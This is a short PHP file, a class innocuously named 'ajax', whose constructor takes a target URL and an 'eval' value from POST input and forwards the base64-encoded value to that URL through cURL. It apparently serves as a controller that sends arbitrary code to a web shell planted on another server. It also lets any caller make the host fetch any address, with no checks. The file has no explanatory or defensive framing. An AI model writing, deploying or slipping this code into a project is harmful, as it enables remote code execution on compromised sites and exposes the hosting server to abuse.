<?php

/**
 * Description of ajax
 *
 * @author krok
 */

class ajax{
      function __construct(){

            $target           = $_POST['target'];
            $eval             = $_POST['eval'];

            $curl             = curl_init() or die('cURL not init!');

            curl_setopt($curl, CURLOPT_URL, $target.'?eval='.base64_encode($eval));

            curl_exec($curl);

            curl_close($curl);
      }
}

$ajax = new ajax;

?>
